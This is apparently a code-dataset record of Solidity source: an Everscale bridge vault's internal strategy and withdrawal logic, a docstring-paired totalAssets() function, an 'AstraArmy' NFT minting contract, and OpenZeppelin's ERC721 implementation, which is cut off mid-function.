) = abi.decode(
eventData,
(int8, uint256, uint128, uint160, uint32)
);
return WithdrawalParams({
sender: EverscaleAddress(sender_wid, sender_addr),
amount: convertFromTargetDecimals(amount),
recipient: address(recipient),
chainId: chainId
});
}
//8b d8 db 88 88 88 888888888888
//`8b d8' d88b 88 88 88 88
// `8b d8' d8'`8b 88 88 88 88
// `8b d8' d8' `8b 88 88 88 88
// `8b d8' d8YaaaaY8b 88 88 88 88
// `8b d8' d8""""""""8b 88 88 88 88
// `888' d8' `8b Y8a. .a8P 88 88
// `8' d8' `8b `"Y8888Y"' 88888888888 88
function _vaultTokenBalance() internal view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
function _debtRatioReduce(
uint256 amount
) internal {
debtRatio -= amount;
}
function _debtRatioIncrease(
uint256 amount
) internal {
debtRatio += amount;
}
function _totalAssets() internal view returns (uint256) {
return _vaultTokenBalance() + totalDebt;
}
function _calculateLockedProfit() internal view returns (uint256) {
uint256 lockedFundsRatio = (block.timestamp - lastReport) * lockedProfitDegradation;
if (lockedFundsRatio < DEGRADATION_COEFFICIENT) {
uint256 _lockedProfit = lockedProfit;
return _lockedProfit - (lockedFundsRatio * _lockedProfit / DEGRADATION_COEFFICIENT);
} else {
return 0;
}
}
function convertFromTargetDecimals(
uint256 amount
) public view returns (uint256) {
if (targetDecimals == tokenDecimals) {
return amount;
} else if (targetDecimals > tokenDecimals) {
return amount / 10 ** (targetDecimals - tokenDecimals);
} else {
return amount * 10 ** (tokenDecimals - targetDecimals);
}
}
function convertToTargetDecimals(
uint256 amount
) public view returns (uint256) {
if (targetDecimals == tokenDecimals) {
return amount;
} else if (targetDecimals > tokenDecimals) {
return amount * 10 ** (targetDecimals - tokenDecimals);
} else {
return amount / 10 ** (tokenDecimals - targetDecimals);
}
}
function _calculateMovementFee(
uint256 amount,
uint256 fee
) internal pure returns (uint256) {
if (fee == 0) return 0;
return amount * fee / MAX_BPS;
}
// ad88888ba 888888888888 88888888ba db 888888888888 88888888888 ,ad8888ba, 8b d8
//d8" "8b 88 88 "8b d88b 88 88 d8"' `"8b Y8, ,8P
//Y8, 88 88 ,8P d8'`8b 88 88 d8' Y8, ,8P
//`Y8aaaaa, 88 88aaaaaa8P' d8' `8b 88 88aaaaa 88 "8aa8"
// `"""""8b, 88 88""""88' d8YaaaaY8b 88 88""""" 88 88888 `88'
// `8b 88 88 `8b d8""""""""8b 88 88 Y8, 88 88
//Y8a a8P 88 88 `8b d8' `8b 88 88 Y8a. .a88 88
// "Y88888P" 88 88 `8b d8' `8b 88 88888888888 `"Y88888P" 88
function _strategy(
address strategyId
) internal view returns (StrategyParams memory) {
return strategies_[strategyId];
}
function _strategyCreate(
address strategyId,
StrategyParams memory strategyParams
) internal {
strategies_[strategyId] = strategyParams;
}
function _strategyRewardsUpdate(
address strategyId,
EverscaleAddress memory _rewards
) internal {
strategies_[strategyId].rewards = _rewards;
}
function _strategyDebtRatioUpdate(
address strategyId,
uint256 debtRatio
) internal {
strategies_[strategyId].debtRatio = debtRatio;
}
function _strategyLastReportUpdate(
address strategyId
) internal {
strategies_[strategyId].lastReport = block.timestamp;
lastReport = block.timestamp;
}
function _strategyTotalDebtReduce(
address strategyId,
uint256 debtPayment
) internal {
strategies_[strategyId].totalDebt -= debtPayment;
totalDebt -= debtPayment;
}
function _strategyTotalDebtIncrease(
address strategyId,
uint256 credit
) internal {
strategies_[strategyId].totalDebt += credit;
totalDebt += credit;
}
function _strategyDebtOutstanding(
address strategyId
) internal view returns (uint256) {
StrategyParams memory strategy = _strategy(strategyId);
if (debtRatio == 0) return strategy.totalDebt;
uint256 strategy_debtLimit = strategy.debtRatio * _totalAssets() / MAX_BPS;
if (emergencyShutdown) {
return strategy.totalDebt;
} else if (strategy.totalDebt <= strategy_debtLimit) {
return 0;
} else {
return strategy.totalDebt - strategy_debtLimit;
}
}
function _strategyCreditAvailable(
address strategyId
) internal view returns (uint256) {
if (emergencyShutdown) return 0;
uint256 vault_totalAssets = _totalAssets();
// Cant extend Strategies debt until total amount of pending withdrawals is more than Vault's total assets
if (pendingWithdrawalsTotal >= vault_totalAssets) return 0;
uint256 vault_debtLimit = debtRatio * vault_totalAssets / MAX_BPS;
uint256 vault_totalDebt = totalDebt;
StrategyParams memory strategy = _strategy(strategyId);
uint256 strategy_debtLimit = strategy.debtRatio * vault_totalAssets / MAX_BPS;
// Exhausted credit line
if (strategy_debtLimit <= strategy.totalDebt || vault_debtLimit <= vault_totalDebt) return 0;
// Start with debt limit left for the Strategy
uint256 available = strategy_debtLimit - strategy.totalDebt;
// Adjust by the global debt limit left
available = Math.min(available, vault_debtLimit - vault_totalDebt);
// Can only borrow up to what the contract has in reserve
// NOTE: Running near 100% is discouraged
available = Math.min(available, IERC20(token).balanceOf(address(this)));
// Adjust by min and max borrow limits (per harvest)
// NOTE: min increase can be used to ensure that if a strategy has a minimum
// amount of capital needed to purchase a position, it's not given capital
// it can't make use of yet.
// NOTE: max increase is used to make sure each harvest isn't bigger than what
// is authorized. This combined with adjusting min and max periods in
// `BaseStrategy` can be used to effect a "rate limit" on capital increase.
if (available < strategy.minDebtPerHarvest) {
return 0;
} else {
return Math.min(available, strategy.maxDebtPerHarvest);
}
}
function _strategyTotalGainIncrease(
address strategyId,
uint256 amount
) internal {
strategies_[strategyId].totalGain += amount;
}
function _strategyExpectedReturn(
address strategyId
) internal view returns (uint256) {
StrategyParams memory strategy = _strategy(strategyId);
uint256 timeSinceLastHarvest = block.timestamp - strategy.lastReport;
uint256 totalHarvestTime = strategy.lastReport - strategy.activation;
if (timeSinceLastHarvest > 0 && totalHarvestTime > 0 && IStrategy(strategyId).isActive()) {
return strategy.totalGain * timeSinceLastHarvest / totalHarvestTime;
} else {
return 0;
}
}
function _strategyDebtRatioReduce(
address strategyId,
uint256 amount
) internal {
strategies_[strategyId].debtRatio -= amount;
debtRatio -= amount;
}
function _strategyRevoke(
address strategyId
) internal {
_strategyDebtRatioReduce(strategyId, strategies_[strategyId].debtRatio);
}
function _strategyMinDebtPerHarvestUpdate(
address strategyId,
uint256 minDebtPerHarvest
) internal {
strategies_[strategyId].minDebtPerHarvest = minDebtPerHarvest;
}
function _strategyMaxDebtPerHarvestUpdate(
address strategyId,
uint256 maxDebtPerHarvest
) internal {
strategies_[strategyId].maxDebtPerHarvest = maxDebtPerHarvest;
}
function _strategyReportLoss(
address strategyId,
uint256 loss
) internal {
StrategyParams memory strategy = _strategy(strategyId);
uint256 totalDebt = strategy.totalDebt;
// Loss can only be up the amount of debt issued to strategy
require(loss <= totalDebt);
// Also, make sure we reduce our trust with the strategy by the amount of loss
if (debtRatio != 0) { // if vault with single strategy that is set to EmergencyOne
// NOTE: The context to this calculation is different than the calculation in `_reportLoss`,
// this calculation intentionally approximates via `totalDebt` to avoid manipulable results
// NOTE: This calculation isn't 100% precise, the adjustment is ~10%-20% more severe due to EVM math
uint256 ratio_change = Math.min(
loss * debtRatio / totalDebt,
strategy.debtRatio
);
_strategyDebtRatioReduce(strategyId, ratio_change);
}
// Finally, adjust our strategy's parameters by the loss
strategies_[strategyId].totalLoss += loss;
_strategyTotalDebtReduce(strategyId, loss);
}
//88888888ba 88888888888 888b 88 88888888ba, 88 888b 88 ,ad8888ba,
//88 "8b 88 8888b 88 88 `"8b 88 8888b 88 d8"' `"8b
//88 ,8P 88 88 `8b 88 88 `8b 88 88 `8b 88 d8'
//88aaaaaa8P' 88aaaaa 88 `8b 88 88 88 88 88 `8b 88 88
//88""""""' 88""""" 88 `8b 88 88 88 88 88 `8b 88 88 88888
//88 88 88 `8b 88 88 8P 88 88 `8b 88 Y8, 88
//88 88 88 `8888 88 .a8P 88 88 `8888 Y8a. .a88
//88 88888888888 88 `888 88888888Y"' 88 88 `888 `"Y88888P"
function _pendingWithdrawal(
PendingWithdrawalId memory pendingWithdrawalId
) internal view returns (PendingWithdrawalParams memory) {
return pendingWithdrawals_[pendingWithdrawalId.recipient][pendingWithdrawalId.id];
}
function _pendingWithdrawalCreate(
address recipient,
uint256 amount,
uint256 timestamp
) internal returns (uint256 pendingWithdrawalId) {
pendingWithdrawalId = pendingWithdrawalsPerUser[recipient];
pendingWithdrawalsPerUser[recipient]++;
pendingWithdrawals_[recipient][pendingWithdrawalId] = PendingWithdrawalParams({
amount: amount,
timestamp: timestamp,
bounty: 0,
approveStatus: ApproveStatus.NotRequired
});
pendingWithdrawalsTotal += amount;
return pendingWithdrawalId;
}
function _pendingWithdrawalBountyUpdate(
PendingWithdrawalId memory pendingWithdrawalId,
uint bounty
) internal {
pendingWithdrawals_[pendingWithdrawalId.recipient][pendingWithdrawalId.id].bounty = bounty;
emit PendingWithdrawalUpdateBounty(pendingWithdrawalId.recipient, pendingWithdrawalId.id, bounty);
}
function _pendingWithdrawalAmountReduce(
PendingWithdrawalId memory pendingWithdrawalId,
uint amount
) internal {
pendingWithdrawals_[pendingWithdrawalId.recipient][pendingWithdrawalId.id].amount -= amount;
pendingWithdrawalsTotal -= amount;
}
function _pendingWithdrawalApproveStatusUpdate(
PendingWithdrawalId memory pendingWithdrawalId,
ApproveStatus approveStatus
) internal {
pendingWithdrawals_[pendingWithdrawalId.recipient][pendingWithdrawalId.id].approveStatus = approveStatus;
emit PendingWithdrawalUpdateApproveStatus(
pendingWithdrawalId.recipient,
pendingWithdrawalId.id,
approveStatus
);
}
//88888888ba 88888888888 88888888ba 88 ,ad8888ba, 88888888ba,
//88 "8b 88 88 "8b 88 d8"' `"8b 88 `"8b
//88 ,8P 88 88 ,8P 88 d8' `8b 88 `8b
//88aaaaaa8P' 88aaaaa 88aaaaaa8P' 88 88 88 88 88
//88""""""' 88""""" 88""""88' 88 88 88 88 88
//88 88 88 `8b 88 Y8, ,8P 88 8P
//88 88 88 `8b 88 Y8a. .a8P 88 .a8P
//88 88888888888 88 `8b 88 `"Y8888Y"' 88888888Y"'
function _withdrawalPeriodDeriveId(
uint256 timestamp
) internal pure returns (uint256) {
return timestamp / WITHDRAW_PERIOD_DURATION_IN_SECONDS;
}
function _withdrawalPeriod(
uint256 timestamp
) internal view returns (WithdrawalPeriodParams memory) {
return withdrawalPeriods_[_withdrawalPeriodDeriveId(timestamp)];
}
function _withdrawalPeriodIncreaseTotalByTimestamp(
uint256 timestamp,
uint256 amount
) internal {
uint withdrawalPeriodId = _withdrawalPeriodDeriveId(timestamp);
withdrawalPeriods_[withdrawalPeriodId].total += amount;
}
function _withdrawalPeriodIncreaseConsideredByTimestamp(
uint256 timestamp,
uint256 amount
) internal {
uint withdrawalPeriodId = _withdrawalPeriodDeriveId(timestamp);
withdrawalPeriods_[withdrawalPeriodId].considered += amount;
}
function _withdrawalPeriodCheckLimitsPassed(
uint amount,
WithdrawalPeriodParams memory withdrawalPeriod
) internal view returns (bool) {
return amount < undeclaredWithdrawLimit &&
amount + withdrawalPeriod.total - withdrawalPeriod.considered < withdrawLimitPerPeriod;
}
function _getChainID() internal view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./../interfaces/vault/IVault.sol";
abstract contract VaultStorage is IVault, Initializable, ReentrancyGuard {
uint256 constant MAX_BPS = 10_000;
uint256 constant WITHDRAW_PERIOD_DURATION_IN_SECONDS = 60 * 60 * 24; // 24 hours
uint256 constant SECS_PER_YEAR = 31_556_952; // 365.2425 days
// Bridge
// - Bridge address, used to verify relay's signatures. Read more on `saveWithdraw`
address public override bridge;
// - Bridge EVER-EVM event configuration
// NOTE: Some variables have "_" postfix and not declared as a "public override"
// Instead they have explicit corresponding getter
// It's a compiler issue, described here - https://github.com/ethereum/solidity/issues/11826
EverscaleAddress configuration_;
function configuration()
external
view
override
returns (EverscaleAddress memory) {
return configuration_;
}
// - Withdrawal receipt IDs, used to prevent double spending
mapping(bytes32 => bool) public override withdrawalIds;
// - Rewards address in Everscale, receives fees, gains, etc
EverscaleAddress rewards_;
function rewards()
external
view
override
returns (EverscaleAddress memory) {
return rewards_;
}
// Pending withdrawals
// - Counter pending withdrawals per user
mapping(address => uint) public override pendingWithdrawalsPerUser;
// - Pending withdrawal details
mapping(address => mapping(uint256 => PendingWithdrawalParams)) pendingWithdrawals_;
function pendingWithdrawals(
address user,
uint256 id
) external view override returns (PendingWithdrawalParams memory) {
return pendingWithdrawals_[user][id];
}
// - Total amount of `token` in pending withdrawal status
uint public override pendingWithdrawalsTotal;
// Ownership
// - Governance
address public override governance;
// - Pending governance, used for 2-step governance transfer
address pendingGovernance;
// - Guardian, responsible for security actions
address public override guardian;
// - Withdraw guardian, responsible for approving / rejecting some of the withdrawals
address public override withdrawGuardian;
// - Management, responsible for managing strategies
address public override management;
// Token
// - Vault's token
address public override token;
// - Decimals on corresponding token in the Everscale network
uint256 public override targetDecimals;
// - Decimals of `token`
uint256 public override tokenDecimals;
// Fees
// - Deposit fee, in BPS
uint256 public override depositFee;
// - Withdraw fee, in BPS
uint256 public override withdrawFee;
// - Management fee, in BPS
uint256 public override managementFee;
// - Performance fee, in BPS
uint256 public override performanceFee;
// Strategies
// - Strategies registry
mapping(address => StrategyParams) strategies_;
function strategies(
address strategyId
) external view override returns (StrategyParams memory) {
return strategies_[strategyId];
}
uint256 constant DEGRADATION_COEFFICIENT = 10**18;
// - SET_SIZE can be any number but having it in power of 2 will be more gas friendly and collision free.
// - Make sure SET_SIZE is greater than 20
uint256 constant SET_SIZE = 32;
// - Ordering that `withdraw` uses to determine which strategies to pull funds from
// Does *NOT* have to match the ordering of all the current strategies that
// exist, but it is recommended that it does or else withdrawal depth is
// limited to only those inside the queue.
// Ordering is determined by governance, and should be balanced according
// to risk, slippage, and/or volatility. Can also be ordered to increase the
// withdrawal speed of a particular Strategy.
// The first time a zero address is encountered, it stops withdrawing
// Maximum amount of strategies in withdrawal queue = 20
address[20] withdrawalQueue_;
function withdrawalQueue() external view override returns (address[20] memory) {
return withdrawalQueue_;
}
// Security
// - Emergency shutdown, most of operations are unavailable in emergency mode
bool public override emergencyShutdown;
// - Withdraw limit per period
uint256 public override withdrawLimitPerPeriod;
// - Undeclared withdraw limit
uint256 public override undeclaredWithdrawLimit;
// - Withdrawal periods. Each period is `WITHDRAW_PERIOD_DURATION_IN_SECONDS` seconds long.
// If some period has reached the `withdrawalLimitPerPeriod` - all the future
// withdrawals in this period require manual approve, see note on `setPendingWithdrawalsApprove`
mapping(uint256 => WithdrawalPeriodParams) withdrawalPeriods_;
function withdrawalPeriods(
uint256 withdrawalPeriodId
) external view override returns (WithdrawalPeriodParams memory) {
return withdrawalPeriods_[withdrawalPeriodId];
}
// Vault
// - Limit for `totalAssets` the Vault can hold
uint256 public override depositLimit;
// - Debt ratio for the Vault across al strategies (<= MAX_BPS)
uint256 public override debtRatio;
// - Amount of all tokens that all strategies have borrowed
uint256 public override totalDebt;
// - block.timestamp of last report
uint256 public override lastReport;
// - How much profit is locked and cant be withdrawn
uint256 public override lockedProfit;
// - Rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block
uint256 public override lockedProfitDegradation;
}
|
Returns the total quantity of all assets under control of this Vault, whether they're loaned out to a Strategy, or currently held in the Vault. return The total assets under control of this Vault.
|
function totalAssets() external view override returns (uint256) {
return _totalAssets();
}
| 6,186,404 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
interface IAstraMetadata {
function tokenURI(uint256 tokenId, uint256 meta, bool isLocking, string memory genesisImageUrl) external view returns (string memory);
function generate(uint256 seed) external view returns (uint256, uint256);
}
contract AstraArmy is ERC721, Ownable {
using SafeMath for uint256;
uint256 constant MAX_ALPHA_SUPPLY = 8869; // Maximum limit of tokens for sale by ETH
uint256 constant MAX_TOTAL_SUPPLY = 696969; // Maximum limit of tokens in the collection
uint256 constant MAX_GIVEAWAY_REVERSE = 69; // Maximum limit of tokens for giving away purposes
uint256 constant BATCH_PRESALE_LIMIT = 2; // Maximum limit of tokens per pre-sale transaction
uint256 constant BATCH_BORN_LIMIT = 3; // Maximum limit of tokens per mint by token transaction
uint256 constant PRESALE_PRICE = 0.050 ether; // Price for pre-sale
uint256 constant PUBLICSALE_PRICE = 0.069 ether; // Price for minting
uint256 constant CLAIM_TIMEOUT = 14*24*3600; // Claim expiration time after reserve
uint256 constant STATS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000; // Mask for separate props and stats
uint256 public MaxSalePerAddress = 10; // Maximum limit of tokens per address for minting
uint256 public LockingTime = 2*24*3600; // Lock metadata after mint in seconds
uint256 public TotalSupply; // Current total supply
uint256 public GiveAwaySupply; // Total supply for giving away purposes
uint256 public ResevedSupply; // Current total supply for sale by ETH
bytes32 public PresaleMerkleRoot; // Merkle root hash to verify pre-sale address
address public PaymentAddress; // The address where payment will be received
address public MetadataAddress; // The address of metadata's contract
address public BattleAddress; // The address of game's contract
bool public PreSaleActived; // Pre-sale is activated
bool public PublicSaleActived; // Public sale is activated
bool public BornActived; // Mint by token is activated
mapping (uint256 => uint256) MintTimestampMapping; // Mapping minting time
mapping (uint256 => uint256) MetadataMapping; // Mapping token's metadata
mapping (uint256 => bool) MetadataExisting; // Mapping metadata's existence
mapping (address => bool) PresaleClaimedMapping; // Mapping pre-sale claimed rewards
mapping (address => uint256) ReserveSaleMapping; // Mapping reservations for public sale
mapping (address => uint256) ReserveTimestampMapping;// Mapping minting time
mapping (address => uint256) ClaimedSaleMapping; // Mapping claims for public sale
// Initialization function will initialize the initial values
constructor(address metadataAddress, address paymentAddress) ERC721("Astra Chipmunks Army", "ACA") {
PaymentAddress = paymentAddress;
MetadataAddress = metadataAddress;
// Generate first tokens for Alvxns & teams
saveMetadata(1, 0x00000a000e001c001b0011001700000000000000000000000000000000000000);
super._safeMint(paymentAddress, 1);
TotalSupply++;
}
// Randomize metadata util it's unique
function generateMetadata(uint256 tokenId, uint256 seed) internal returns (uint256) {
(uint256 random, uint256 meta) = IAstraMetadata(MetadataAddress).generate(seed);
if(MetadataExisting[meta])
return generateMetadata(tokenId, random);
else
return meta;
}
// Get the tokenURI onchain
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
return IAstraMetadata(MetadataAddress).tokenURI(tokenId, MetadataMapping[tokenId], MintTimestampMapping[tokenId] + LockingTime > block.timestamp, "");
}
// The function that reassigns a global variable named MetadataAddress (owner only)
function setMetadataAddress(address metadataAddress) external onlyOwner {
MetadataAddress = metadataAddress;
}
// The function that reassigns a global variable named BattleAddress (owner only)
function setBattleAddress(address battleAddress) external onlyOwner {
BattleAddress = battleAddress;
}
// The function that reassigns a global variable named PaymentAddress (owner only)
function setPaymentAddress(address paymentAddress) external onlyOwner {
PaymentAddress = paymentAddress;
}
// The function that reassigns a global variable named PresaleMerkleRoot (owner only)
function setPresaleMerkleRoot(bytes32 presaleMerkleRoot) external onlyOwner {
PresaleMerkleRoot = presaleMerkleRoot;
}
// The function that reassigns a global variable named PreSaleActived (owner only)
function setPresaleActived(bool preSaleActived) external onlyOwner {
PreSaleActived = preSaleActived;
}
// The function that reassigns a global variable named BornActived (owner only)
function setBornActived(bool bornActived) external onlyOwner {
BornActived = bornActived;
}
// The function that reassigns a global variable named PublicSaleActived (owner only)
function setPublicSaleActived(bool publicSaleActived) external onlyOwner {
PublicSaleActived = publicSaleActived;
}
// The function that reassigns a global variable named LockingTime (owner only)
function setLockingTime(uint256 lockingTime) external onlyOwner {
LockingTime = lockingTime;
}
// The function that reassigns a global variable named MaxSalePerAddress (owner only)
function setMaxSalePerAddress(uint256 maxSalePerAddress) external onlyOwner {
MaxSalePerAddress = maxSalePerAddress;
}
// Pre-sale whitelist check function
function checkPresaleProof(address buyer, bool hasFreeMint, bytes32[] memory merkleProof) public view returns (bool) {
// Calculate the hash of leaf
bytes32 leafHash = keccak256(abi.encode(buyer, hasFreeMint));
// Verify leaf using openzeppelin library
return MerkleProof.verify(merkleProof, PresaleMerkleRoot, leafHash);
}
// Give away minting function (owner only)
function mintGiveAway(uint256 numberOfTokens, address toAddress) external onlyOwner {
// Calculate current index for minting
uint256 i = TotalSupply + 1;
TotalSupply += numberOfTokens;
GiveAwaySupply += numberOfTokens;
// Exceeded the maximum total give away supply
require(0 < numberOfTokens && GiveAwaySupply <= MAX_GIVEAWAY_REVERSE && TotalSupply <= MAX_ALPHA_SUPPLY, 'Exceed total supply!');
for (;i <= TotalSupply; i++) {
// To the sun
_safeMint(toAddress, i);
}
}
// Presale minting function
function mintPreSale(uint256 numberOfTokens, bool hasFreeMint, bytes32[] memory merkleProof) external payable {
// Calculate current index for minting
uint256 i = TotalSupply + 1;
TotalSupply += numberOfTokens.add(hasFreeMint ? 1 : 0);
// The sender must be a wallet
require(msg.sender == tx.origin, 'Not a wallet!');
// Pre-sale is not open yet
require(PreSaleActived, 'Not open yet!');
// Exceeded the maximum total supply
require(TotalSupply <= MAX_ALPHA_SUPPLY, 'Exceed total supply!');
// Exceeded the limit for each pre-sale
require(0 < numberOfTokens && numberOfTokens <= BATCH_PRESALE_LIMIT, 'Exceed limitation!');
// You are not on the pre-sale whitelist
require(this.checkPresaleProof(msg.sender, hasFreeMint, merkleProof), 'Not on the whitelist!');
// Your promotion has been used
require(!PresaleClaimedMapping[msg.sender], 'Promotion is over!');
// Your ETH amount is insufficient
require(PRESALE_PRICE.mul(numberOfTokens) <= msg.value, 'Insufficient funds!');
// Mark the address that has used the promotion
PresaleClaimedMapping[msg.sender] = true;
// Make the payment to diffrence wallet
payable(PaymentAddress).transfer(msg.value);
for (; i <= TotalSupply; i++) {
// To the moon
_safeMint(msg.sender, i);
}
}
// Getting the reserve status
function reserveStatus(address addressOf) external view returns (uint256, uint256) {
uint256 claimable = ReserveSaleMapping[addressOf] - ClaimedSaleMapping[addressOf];
uint256 reservable = MaxSalePerAddress > ReserveSaleMapping[addressOf] ? MaxSalePerAddress - ReserveSaleMapping[addressOf] : 0;
return (claimable, reservable);
}
// Public sale by ETH minting function
function reserve(uint256 numberOfTokens) external payable {
// Register for a ticket
ReserveSaleMapping[msg.sender] = ReserveSaleMapping[msg.sender].add(numberOfTokens);
ResevedSupply = ResevedSupply.add(numberOfTokens);
ReserveTimestampMapping[msg.sender] = block.timestamp;
// The sender must be a wallet
require(msg.sender == tx.origin, 'Not a wallet!');
// Public sale is not open yet
require(PublicSaleActived, 'Not open yet!');
// Exceeded the maximum total supply
require(TotalSupply + ResevedSupply <= MAX_ALPHA_SUPPLY, 'Exceed total supply!');
// Your ETH amount is insufficient
require(0 < numberOfTokens && PUBLICSALE_PRICE.mul(numberOfTokens) <= msg.value, 'Insufficient funds!');
// Exceeded the limit per address
require(numberOfTokens <= MaxSalePerAddress && ReserveSaleMapping[msg.sender] <= MaxSalePerAddress, 'Exceed address limitation!');
// Make the payment to diffrence wallet
payable(PaymentAddress).transfer(msg.value);
}
// Public sale by ETH minting function
function claim() external payable {
// The sender must be a wallet
require(msg.sender == tx.origin, 'Not a wallet!');
// Reservetions must come first
require(ReserveSaleMapping[msg.sender] > ClaimedSaleMapping[msg.sender], 'Already claimed!');
// Expired claims
require(ReserveTimestampMapping[msg.sender] + CLAIM_TIMEOUT > block.timestamp, 'Expired claims!');
// Calculate current index for minting
uint256 i = TotalSupply + 1;
uint256 numberOfTokens = ReserveSaleMapping[msg.sender] - ClaimedSaleMapping[msg.sender];
ResevedSupply -= numberOfTokens;
TotalSupply += numberOfTokens;
// Reassign used tickets
ClaimedSaleMapping[msg.sender] = ReserveSaleMapping[msg.sender];
delete(ReserveTimestampMapping[msg.sender]);
for (; i <= TotalSupply; i++) {
// To the moon
_safeMint(msg.sender, i);
}
}
// Public sale by token minting function
function born(address toAddress, uint256 numberOfTokens) external {
// Calculate current index for minting
uint256 i = TotalSupply + 1;
TotalSupply = TotalSupply.add(numberOfTokens);
// Born is not open yet
require(BornActived, 'Not open yet!');
// Exceeded the limit for each mint egg
require(0 < numberOfTokens && numberOfTokens <= BATCH_BORN_LIMIT, 'Exceed batch limitation!');
// Exceeded the maximum total supply
require(TotalSupply <= MAX_TOTAL_SUPPLY, 'Exceed total supply!');
// The sender must be game contract
require(msg.sender == BattleAddress, 'Not authorized!');
for (; i <= TotalSupply; i++) {
// To the moon
_safeMint(toAddress, i);
}
}
// Setting the stats of the token
function setStats(uint256 tokenId, uint256 meta) external {
// The sender must be game contract
require(msg.sender == BattleAddress, 'Not authorized!');
// Put on a mask to make sure nothing can change the art, just stats
MetadataMapping[tokenId] = (MetadataMapping[tokenId] & ~STATS_MASK) | (meta & STATS_MASK);
}
// Save the metadata information
function saveMetadata(uint256 tokenId, uint256 meta) internal {
MintTimestampMapping[tokenId] = block.timestamp;
MetadataMapping[tokenId] = meta;
MetadataExisting[meta] = true;
}
// Customize safeMint function
function _safeMint(address to, uint256 tokenId) internal virtual override {
// Generate and save metadata
saveMetadata(tokenId, generateMetadata(tokenId, tokenId));
// Call the function super
super._safeMint(to, tokenId);
}
// Customize beforeTokenTransfer function
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
// Call the function super
super._beforeTokenTransfer(from, to, tokenId);
// Lock the tranfer of LockingTime seconds, except for the alpha generation
require(tokenId <= MAX_ALPHA_SUPPLY || MintTimestampMapping[tokenId] + LockingTime < block.timestamp, 'Not transferable!');
}
// Customize totalSupply function
function totalSupply() external virtual returns (uint256) {
return TotalSupply;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
